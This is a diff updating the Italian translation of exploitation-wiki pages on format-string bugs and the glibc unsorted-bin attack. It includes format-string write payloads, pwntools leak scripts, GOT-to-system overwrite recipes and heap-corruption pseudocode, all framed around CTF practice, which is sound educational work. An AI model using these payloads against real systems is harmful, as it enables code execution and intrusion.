diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 68ee78e7e..54986e509 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Informazioni di base -In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo. +In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** sono i **valori** con cui **sostituire** i **formatters** presenti nel testo grezzo. Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**. -La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario. +La vulnerabilità si manifesta quando un **attacker text è usato come primo argomento** di questa funzione. L'attacker sarà in grado di costruire un **input speciale che abusa** delle capacità della stringa di formato di printf per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. In questo modo è possibile **eseguire codice arbitrario**. -#### Formattatori: +#### Formatters: ```bash %08x —> 8 hex bytes %d —> Entire @@ -54,7 +54,7 @@ return 0; ``` ### **Accesso ai puntatori** -Il formato **`%$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare: +Il formato **`%$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf potresti fare: ```c printf("%x %x %x %x") ``` @@ -66,14 +66,14 @@ printf("%4$x") ``` e leggere direttamente il quarto. -Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack. +Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. > [!CAUTION] -> Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento. +> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come usare questo comportamento. ## **Arbitrary Read** -È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con: +È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, seguirlo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato 0x00). Quindi, se l'indirizzo base del binary è **`0x8048000`**, e sappiamo che il user input inizia alla 4a posizione nello stack, è possibile stampare l'inizio del binary con: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo. +> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa conterrà 0x00 alla fine di quell'indirizzo. -### Trovare l'offset +### Trova l'offset -Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`. +Per trovare l'offset rispetto al tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore finché non recuperi le `A's`.
@@ -130,50 +130,50 @@ p.close() Arbitrary reads possono essere utili per: -- **Dump** il **binary** dalla memoria -- **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** del **binary** dalla memoria +- **Access a parti specifiche della memoria dove sono memorizzate** **info** sensibili (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Il formatter **`%$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%$n`** scriva un numero arbitrario in un indirizzo arbitrario. +Il formatter **`%$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro nello stack. Se un attaccante può scrivere quanti char vuole con printf, potrà far sì che **`%$n`** scriva un numero arbitrario in un indirizzo arbitrario. -Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.%$n`** per scrivere il numero **``** nell'**indirizzo puntato dalla posizione `num`**. +Fortunatamente, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input: è possibile usare il formatter **`%.%$n`** per scrivere il numero **``** nell'**indirizzo puntato dalla posizione `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi. +Tuttavia, nota che solitamente, per scrivere un indirizzo come `0x08049724` (che è un numero ENORME da scrivere in una sola volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 Bytes**. Perciò questa operazione viene fatta due volte, una per i 2B più alti dell'indirizzo e un'altra per quelli più bassi. -Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).** +Quindi, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).** -In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec: +In questo esempio, l'obiettivo sarà quello di **sovrascrivere** l'**indirizzo** di una **function** nella tabella **GOT** che verrà chiamata più tardi. Anche se questo potrebbe sfruttare altre tecniche di arbitrary write to exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\ -Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**. +Ci accingiamo a **sovrascrivere** una **function** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** verso la funzione **`system`**.\ +Come detto, per scrivere l'indirizzo di solito sono necessari 2 passaggi: prima si **scrivono 2 Bytes** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**. - **HOB** indica i 2 byte più alti dell'indirizzo - **LOB** indica i 2 byte più bassi dell'indirizzo -Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro. +Poi, a causa del funzionamento delle format string è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro. -Se HOB < LOB\ +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -Se HOB > LOB\ +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools Modello +### Modello Pwntools -Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in: +Puoi trovare un **template** per preparare un exploit per questo tipo di vulnerabilità in: {{#ref}} @@ -201,26 +201,26 @@ p.interactive() ``` ## Format Strings to BOF -È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**. +È possibile abusare delle azioni di scrittura di una vulnerabilità di format string per **scrivere in indirizzi dello stack** e sfruttare una vulnerabilità di tipo **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio: +Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molte call-site vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR. +Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che il CRT legga il successivo argomento variadico dal registro appropriato. Con la calling convention Microsoft x64 la prima lettura di questo tipo per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso provoca un leak di un puntatore stabile in-module (es., un puntatore a un oggetto locale/globale precedentemente messo in R9 dal codice circostante o un valore salvato dal callee), che può essere usato per recuperare la module base e bypassare ASLR. -Flusso pratico: +Practical workflow: -- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio. -- Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`. -- Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto. +- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante, in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio. +- Cattura il pointer leak, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo una singola reverse con simboli o con una copia locale), e recupera l'image base come `leak - known_offset`. +- Riusa quella base per calcolare indirizzi assoluti di ROP gadgets e IAT entries da remoto. -Esempio (abbreviato python): +Example (abbreviated python): ```python from pwn import remote @@ -233,24 +233,23 @@ base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Note: -- L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione). -- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti. -- Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede. +- L'esatto offset da sottrarre si trova una volta durante local reversing e poi viene riutilizzato (same binary/version). +- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri argument registers/stack. +- Questo pattern è specifico della Windows x64 calling convention e delle implementazioni printf-family che prendono varargs inesistenti dai registri quando la format string li richiede. -Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure. +Questa tecnica è estremamente utile per bootstrap ROP su Windows services compilati con ASLR e senza ovvie memory disclosure primitives. -## Altri Esempi & Riferimenti +## Altri esempi & riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione) +- 32 bit, no relro, no canary, nx, no pie, uso base di format strings per effettuare un leak della flag dallo stack (non è necessario alterare il flusso di esecuzione) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo di `fflush` con la funzione win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati. - +- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro 1 volta in più) e scrivere l'indirizzo di `system` nella GOT puntando a `strlen`. Quando il flusso torna in main, `strlen` viene eseguito con input utente e puntando a `system`, eseguirà i comandi passati. ## Riferimenti diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 22a7378dd..1c8f8ce9d 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,68 +4,68 @@ ## Informazioni di base -Per maggiori informazioni su cosa sia un unsorted bin controlla questa pagina: +Per maggiori informazioni su cos'è un unsorted bin controlla questa pagina: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Le unsorted lists sono in grado di scrivere l'indirizzo di `unsorted_chunks (av)` nel campo `bk` del chunk. Pertanto, se un attacker può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno dell'unsorted bin, potrebbe riuscire a **scrivere quell'indirizzo in un indirizzo arbitrario**, il che può essere utile per ottenere un leak di indirizzi Glibc o bypassare certe difese. +Le unsorted lists sono in grado di scrivere l'indirizzo di `unsorted_chunks (av)` nel campo `bk` del chunk. Quindi, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk presente nell'unsorted bin, potrebbe riuscire a **scrivere quell'indirizzo in un indirizzo arbitrario**, il che può essere utile per ottenere un leak di indirizzi Glibc o bypassare qualche protezione. -Quindi, fondamentalmente, questo attacco permette di **impostare un grande valore in un indirizzo arbitrario**. Questo grande valore è un indirizzo, che potrebbe essere un indirizzo heap o un indirizzo Glibc. Un obiettivo tradizionale era **`global_max_fast`** per permettere di creare fast bin con dimensioni maggiori (e passare da un unsorted bin attack a un fast bin attack). +In sostanza, questo attacco permette di **impostare un numero grande in un indirizzo arbitrario**. Questo numero grande è un indirizzo, che potrebbe essere un indirizzo heap o un indirizzo Glibc. Un bersaglio tradizionale era **`global_max_fast`** per permettere la creazione di fast bin di dimensioni maggiori (e passare da un unsorted bin attack a un fast bin attack). -- Nota moderna (glibc ≥ 2.39): `global_max_fast` è diventata una variabile globale a 8 bit. Scrivere ciecamente un pointer lì tramite una scrittura su unsorted-bin sovrascriverà dati libc adiacenti e non aumenterà più in modo affidabile il limite dei fastbin. Preferire altri target o altri primitive quando si lavora contro glibc 2.39+. Vedi "Modern constraints" sotto e considera di combinare con altre tecniche come un [large bin attack](large-bin-attack.md) o un [fast bin attack](fast-bin-attack.md) una volta ottenuto un primitive stabile. +- Nota moderna (glibc ≥ 2.39): `global_max_fast` è diventato una globale a 8 bit. Scriverci ciecamente un puntatore tramite una write da unsorted-bin sovrascriverà dati libc adiacenti e non aumenterà più in modo affidabile il limite di fastbin. Preferire altri target o primitive quando si lavora contro glibc 2.39+. Vedi "Modern constraints" sotto e considera di combinare con altre tecniche come un [large bin attack](large-bin-attack.md) o un [fast bin attack](fast-bin-attack.md) una volta che si dispone di una primitive stabile. > [!TIP] -> T> Prendendo un'occhiata all'esempio fornito in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usando 0x4000 e 0x5000 invece di 0x400 e 0x500 come dimensioni dei chunk (per evitare Tcache) è possibile vedere che **oggigiorno** l'errore **`malloc(): unsorted double linked list corrupted`** viene scatenato. +> T> ake a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. > -> Pertanto, questo unsorted bin attack ora (tra altri controlli) richiede anche la capacità di sistemare la double linked list così che questo non venga bypassato `victim->bk->fd == victim` o `victim->fd == av (arena)`, il che significa che l'indirizzo dove vogliamo scrivere deve avere l'indirizzo del fake chunk nella sua posizione `fd` e che il `fd` del fake chunk punti all'arena. +> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. > [!CAUTION] -> Nota che questo attacco corrompe l'unsorted bin (e quindi anche small e large). Quindi ora possiamo usare solo **allocazioni dai fast bin** (un programma più complesso potrebbe fare altre allocazioni e crashare), e per attivarlo dobbiamo **allocare della stessa dimensione altrimenti il programma crasha.** +> Nota che questo attacco corrompe l'unsorted bin (e quindi anche small e large). Perciò ora possiamo usare solo **allocazioni dai fast bin** (un programma più complesso potrebbe fare altre allocazioni e crashare), e per attivarlo dobbiamo **allocare lo stesso size o il programma andrà in crash.** > -> Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il fast bin si occuperà di tutte le altre allocazioni fino al completamento dell'exploit. +> Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso, fidandosi che il fast bin si occuperà di tutte le altre allocazioni fino al completamento dell'exploit. -Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene, anche se se modifichi i malloc per allocare memoria abbastanza grande da non finire in Tcache puoi vedere che appare l'errore menzionato precedentemente impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`** +Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene; tuttavia se modifichi le malloc per allocare memoria abbastanza grande da non finire in Tcache puoi vedere che l'errore menzionato prima compare impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`** ### Come avviene effettivamente la scrittura -- La scrittura su unsorted-bin viene innescata su `free` quando il chunk liberato è inserito in testa alla unsorted list. +- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. - Durante l'inserimento, l'allocator esegue `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` - Se puoi impostare `victim->bk` a `(mchunkptr)(TARGET - 0x10)` prima di chiamare `free(victim)`, l'istruzione finale eseguirà la scrittura: `*(TARGET) = victim`. -- Successivamente, quando l'allocator processa l'unsorted bin, i controlli di integrità verificheranno (tra le altre cose) che `bck->fd == victim` e `victim->fd == unsorted_chunks(av)` prima di effettuare l'unlink. Poiché l'inserimento ha già scritto `victim` in `bck->fd` (il nostro `TARGET`), questi controlli possono risultare soddisfatti se la scrittura è riuscita. +- Più tardi, quando l'allocator processerà l'unsorted bin, i controlli di integrità verificheranno (tra le altre cose) che `bck->fd == victim` e `victim->fd == unsorted_chunks(av)` prima di unlinkare. Poiché l'inserimento ha già scritto `victim` in `bck->fd` (il nostro `TARGET`), questi controlli possono essere soddisfatti se la scrittura ha avuto successo. -## Vincoli moderni (glibc ≥ 2.33) +## Modern constraints (glibc ≥ 2.33) -Per usare le scritture su unsorted‑bin in modo affidabile sulle glibc attuali: +Per usare le unsorted‑bin writes in modo affidabile sulle glibc attuali: -- Interferenza di Tcache: per le dimensioni che rientrano in tcache, le free vengono deviate lì e non toccheranno l'unsorted bin. Oppure -- fare richieste con dimensioni > MAX_TCACHE_SIZE (≥ 0x410 su 64‑bit di default), oppure -- riempire il corrispondente tcache bin (7 voci) così che ulteriori free raggiungano i global bins, oppure +- Interferenza di Tcache: per le dimensioni che rientrano nel tcache, i free vengono deviati lì e non toccheranno l'unsorted bin. Oppure +- fare richieste con size > MAX_TCACHE_SIZE (≥ 0x410 su 64‑bit di default), oppure +- riempire il corrispondente tcache bin (7 entry) in modo che i free successivi raggiungano i global bins, oppure - se l'ambiente è controllabile, disabilitare tcache (es., GLIBC_TUNABLES glibc.malloc.tcache_count=0). - Controlli di integrità sull'unsorted list: nel percorso di allocazione successivo che esamina l'unsorted bin, glibc controlla (semplificato): - `bck->fd == victim` e `victim->fd == unsorted_chunks(av)`; altrimenti abortisce con `malloc(): unsorted double linked list corrupted`. - Questo significa che l'indirizzo che punti deve tollerare due scritture: prima `*(TARGET) = victim` al momento del free; più tardi, mentre il chunk viene rimosso, `*(TARGET) = unsorted_chunks(av)` (l'allocator riscrive `bck->fd` tornando alla testa del bin). Scegli target dove forzare semplicemente un valore grande non-zero sia utile. -- Target tipici stabili negli exploit moderni -- Stato dell'applicazione o variabili globali che trattano valori "grandi" come flag/limiti. -- Primitive indirette (es., predisporre per un successivo [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) o per pivotare una successiva write-what-where). -- Evita `__malloc_hook`/`__free_hook` nelle nuove glibc: sono stati rimossi in 2.34. Evita `global_max_fast` su ≥ 2.39 (vedi nota precedente). +- Tipici target stabili negli exploit moderni +- Stato dell'applicazione o globale che tratta valori "grandi" come flag/limiti. +- Primitive indirette (es., preparare un successivo [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) o pivotare una write-what-where successiva). +- Evitare `__malloc_hook`/`__free_hook` nelle glibc nuove: sono stati rimossi in 2.34. Evitare `global_max_fast` su ≥ 2.39 (vedi nota precedente). - Su `global_max_fast` nelle glibc recenti -- Su glibc 2.39+, `global_max_fast` è una globale a 8 bit. La tecnica classica di scriverci un pointer heap per ingrandire i fastbins non funziona più pulitamente ed è probabile che corrompa lo stato dell'allocator adiacente. Preferire altre strategie. +- Su glibc 2.39+, `global_max_fast` è una globale a 8‑bit. Il trucco classico di scriverci un puntatore heap (per ingrandire i fastbins) non funziona più bene e probabilmente corromperà lo stato dell'allocator adiacente. Preferire altre strategie. -## Ricetta di sfruttamento minima (glibc moderno) +## Ricetta minima per lo sfruttamento (glibc moderna) -Obiettivo: ottenere una singola scrittura arbitraria di un pointer heap in un indirizzo arbitrario usando il primitive di inserimento unsorted‑bin, senza far crashare. +Obiettivo: ottenere una singola scrittura arbitraria di un puntatore heap in un indirizzo arbitrario usando la primitive di inserimento dell'unsorted‑bin, senza causare crash. -- Layout/preparazione -- Allocare A, B, C con dimensioni abbastanza grandi da bypassare tcache (es., 0x5000). C impedisce la consolidazione con il top chunk. +- Layout/grooming +- Allocare A, B, C con dimensioni abbastanza grandi da bypassare il tcache (es., 0x5000). C previene la consolidazione con il top chunk. - Corruzione - Overflow da A nell'header di B per impostare `B->bk = (mchunkptr)(TARGET - 0x10)`. -- Attivazione +- Trigger - `free(B)`. Al momento dell'inserimento l'allocator esegue `bck->fd = B`, quindi `*(TARGET) = B`. -- Proseguimento -- Se hai intenzione di continuare ad allocare e il programma usa l'unsorted bin, aspettati che l'allocator in seguito imposti `*(TARGET) = unsorted_chunks(av)`. Entrambi i valori sono tipicamente grandi e potrebbero essere sufficienti a cambiare la semantica di size/limite in target che controllano solo per "grande". +- Continuazione +- Se prevedi di continuare ad allocare e il programma usa l'unsorted bin, aspettati che l'allocator più tardi imposti `*(TARGET) = unsorted_chunks(av)`. Entrambi i valori sono tipicamente grandi e possono essere sufficienti per modificare la semantica di size/limite in target che controllano solo per "grande". Pseudocode skeleton: ```c @@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Se non riesci a bypassare tcache tramite la size, riempi la tcache bin per la size scelta (7 frees) prima di freeare il chunk corrotto in modo che il free vada in unsorted. -> • Se il programma abortisce immediatamente alla successiva allocazione a causa degli unsorted-bin checks, ricontrolla che `victim->fd` sia ancora uguale alla bin head e che il tuo `TARGET` contenga l'esatto puntatore `victim` dopo la prima scrittura. +> • Se non puoi bypassare tcache tramite la dimensione, riempi il tcache bin per la dimensione scelta (7 frees) prima di freeare il chunk corrotto così il free va all'unsorted. +> • Se il programma abortisce immediatamente alla successiva allocazione a causa dei controlli dell'unsorted-bin, ricontrolla che `victim->fd` sia ancora uguale al bin head e che il tuo `TARGET` contenga l'esatto puntatore `victim` dopo la prima scrittura. ## Unsorted Bin Infoleak Attack -Questo è in realtà un concetto molto basilare. I chunk nell'unsorted bin conterranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **che puntano a una parte del main arena (Glibc)**.\ -Quindi, se puoi **mettere un chunk dentro un unsorted bin e leggerlo** (use after free) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **Glibc info leak**. +Questo è in realtà un concetto molto semplice. I chunk nell'unsorted bin avranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **puntati a una parte della main arena (Glibc)**.\ +Quindi, se puoi **mettere un chunk dentro un unsorted bin e leggerlo** (use after free) o **riallocarlo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **Glibc info leak**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), è stato abusare di una struttura di 4 chunk (A, B, C e D - D è usato solo per prevenire la consolidation con il top chunk) in modo che un null byte overflow in B venisse usato per far sì che C indicasse che B era unused. Inoltre, in B il campo `prev_size` è stato modificato così la size invece di essere la size di B era A+B.\ -Poi C è stato deallocated e consolidated con A+B (ma B era ancora in uso). È stato allocato un nuovo chunk di size A e poi gli indirizzi libc leakati sono stati scritti in B dai quali sono stati leaked. +Un [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) simile consisteva nell'abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) così un null byte overflow in B è stato usato per far sì che C indicasse che B era unused. Inoltre, in B il campo `prev_size` è stato modificato in modo che la size invece di essere la size di B fosse A+B.\ +Poi C è stato deallocato e consolidato con A+B (ma B era ancora in use). Un nuovo chunk di size A è stato allocato e poi gli indirizzi libc leaked sono stati scritti in B da dove sono stati leakati. -## References & Other examples +## Riferimenti & Altri esempi - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere la flag e PIE non è abilitato. -- È possibile generare chunk di dimensioni arbitrarie e c'è un heap overflow della size desiderata. +- È possibile generare chunk di dimensioni arbitrarie ed esiste un heap overflow della dimensione desiderata. - L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 da overfloware e chunk2 affinché il top chunk non consolidi i precedenti. -- Poi, chunk1 viene freed e chunk0 viene overflowato in modo che il `bk` pointer di chunk1 punti a: `bk = magic - 0x10` -- Successivamente, chunk3 viene allocato con la stessa size di chunk1, il che innescherà l'unsorted bin attack e modificherà il valore della variabile globale, rendendo possibile ottenere la flag. +- Poi, chunk1 viene freed e chunk0 viene overflowato in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10` +- Poi, chunk3 viene allocato con la stessa size di chunk1, il che innescherà l'unsorted bin attack e modificherà il valore della variabile globale, rendendo possibile ottenere la flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- La funzione merge è vulnerabile perché se entrambi gli indici passati sono lo stesso, farà realloc su di esso e poi lo freea restituendo un puntatore a quella regione freed che può essere riutilizzata. -- Di conseguenza, **si creano 2 chunk**: **chunk0** che verrà merged con se stesso e chunk1 per evitare la consolidazione con il top 